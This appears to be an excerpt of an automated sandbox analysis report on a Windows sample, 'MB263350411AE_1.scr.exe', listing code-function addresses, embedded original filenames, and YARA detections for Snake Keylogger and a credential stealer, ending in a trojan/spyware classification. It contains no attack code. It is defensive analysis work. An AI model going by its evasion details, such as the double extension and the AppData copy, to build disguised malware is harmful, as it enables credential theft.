Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 0_2_00EB4204	0_2_00EB4204
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 0_2_00EB7018	0_2_00EB7018
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 0_2_00EBD8EC	0_2_00EBD8EC
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 0_2_074C3288	0_2_074C3288
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 0_2_074C64F0	0_2_074C64F0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 0_2_074C3278	0_2_074C3278
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DFC530	6_2_00DFC530
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF27B9	6_2_00DF27B9
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF2DD1	6_2_00DF2DD1
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF9480	6_2_00DF9480
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DFC521	6_2_00DFC521
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF946F	6_2_00DF946F
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A6138	6_2_054A6138
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054ABC60	6_2_054ABC60
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AAF00	6_2_054AAF00
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A89E0	6_2_054A89E0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A8579	6_2_054A8579
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A450F	6_2_054A450F
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A4520	6_2_054A4520
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A8588	6_2_054A8588
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AF448	6_2_054AF448
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AF458	6_2_054AF458
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7428	6_2_054A7428
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7418	6_2_054A7418
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7428	6_2_054A7428
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AE740	6_2_054AE740
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AE750	6_2_054AE750
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A5680	6_2_054A5680
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A612A	6_2_054A612A
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A8120	6_2_054A8120
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A8130	6_2_054A8130
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AE180	6_2_054AE180
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AF000	6_2_054AF000
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A0320	6_2_054A0320
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A0330	6_2_054A0330
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A13A8	6_2_054A13A8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A521A	6_2_054A521A
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A5228	6_2_054A5228
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A4DC0	6_2_054A4DC0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A4DD0	6_2_054A4DD0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7CC8	6_2_054A7CC8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A0CD8	6_2_054A0CD8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7CD8	6_2_054A7CD8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A6FC3	6_2_054A6FC3
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A6FD0	6_2_054A6FD0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AEFF0	6_2_054AEFF0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A4969	6_2_054A4969
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A4978	6_2_054A4978
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A89D0	6_2_054A89D0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7871	6_2_054A7871
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A7880	6_2_054A7880
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AF8A1	6_2_054AF8A1
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AF8B0	6_2_054AF8B0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AEB98	6_2_054AEB98
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054AEBA8	6_2_054AEBA8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A5ACA	6_2_054A5ACA
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A5AD8	6_2_054A5AD8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_054A0AB8	6_2_054A0AB8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_031D4204	7_2_031D4204
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_031D7018	7_2_031D7018
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_031DD8EC	7_2_031DD8EC
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_05836C78	7_2_05836C78
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_058302C8	7_2_058302C8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_058302D8	7_2_058302D8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_05836C68	7_2_05836C68
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_0583F008	7_2_0583F008
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_0583F018	7_2_0583F018
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_07732570	7_2_07732570
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_07732561	7_2_07732561
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_077358A0	7_2_077358A0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E8CAB0	7_2_08E8CAB0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E8EB28	7_2_08E8EB28
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E8EB18	7_2_08E8EB18
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E8CEE8	7_2_08E8CEE8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E83F70	7_2_08E83F70
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E83F48	7_2_08E83F48
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E85180	7_2_08E85180
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E8D320	7_2_08E8D320
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E8F4D8	7_2_08E8F4D8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_0123C530	12_2_0123C530
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_012327B9	12_2_012327B9
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_01232DD1	12_2_01232DD1
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_01239480	12_2_01239480
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_0123C521	12_2_0123C521
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_0123946F	12_2_0123946F
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B1361	12_2_030B1361
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B6138	12_2_030B6138
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B0AB8	12_2_030B0AB8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B5AD8	12_2_030B5AD8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B89E0	12_2_030B89E0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BAF00	12_2_030BAF00
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BBC60	12_2_030BBC60
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B0320	12_2_030B0320
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B0330	12_2_030B0330
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B521A	12_2_030B521A
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B5228	12_2_030B5228
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B8120	12_2_030B8120
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B8130	12_2_030B8130
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BE180	12_2_030BE180
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BF000	12_2_030BF000
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BE740	12_2_030BE740
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BE750	12_2_030BE750
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B5670	12_2_030B5670
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B5680	12_2_030B5680
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B450F	12_2_030B450F
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B4520	12_2_030B4520
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B8579	12_2_030B8579
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B8588	12_2_030B8588
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B7418	12_2_030B7418
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B7428	12_2_030B7428
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BF448	12_2_030BF448
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BF458	12_2_030BF458
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BEB98	12_2_030BEB98
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BEBA8	12_2_030BEBA8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B5ACA	12_2_030B5ACA
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B4969	12_2_030B4969
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B4978	12_2_030B4978
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B89D0	12_2_030B89D0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B7871	12_2_030B7871
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B7880	12_2_030B7880
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BF8A0	12_2_030BF8A0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BF8B0	12_2_030BF8B0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B6FC3	12_2_030B6FC3
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B6FC1	12_2_030B6FC1
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B6FD0	12_2_030B6FD0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030BEFF0	12_2_030BEFF0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B4DC0	12_2_030B4DC0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B4DD0	12_2_030B4DD0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B7CC8	12_2_030B7CC8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B0CD8	12_2_030B0CD8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 12_2_030B7CD8	12_2_030B7CD8

Source: MB263350411AE_1.scr.exe

Static PE information: invalid certificate

Source: MB263350411AE_1.scr.exe, 00000000.00000002.1713691680.0000000005B8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameyBlD.exeB vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1715358753.0000000007510000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1712307029.0000000005310000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000000.1654644721.00000000005D2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameyBlD.exeB vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1708901730.00000000029E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1705616469.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1708901730.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.000000000041A000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2904607938.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs MB263350411AE_1.scr.exe
Source: MB263350411AE_1.scr.exe	Binary or memory string: OriginalFilenameyBlD.exeB vs MB263350411AE_1.scr.exe

Source: MB263350411AE_1.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: MB263350411AE_1.scr.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: nDVstwLnVvg.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/11@2/2

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

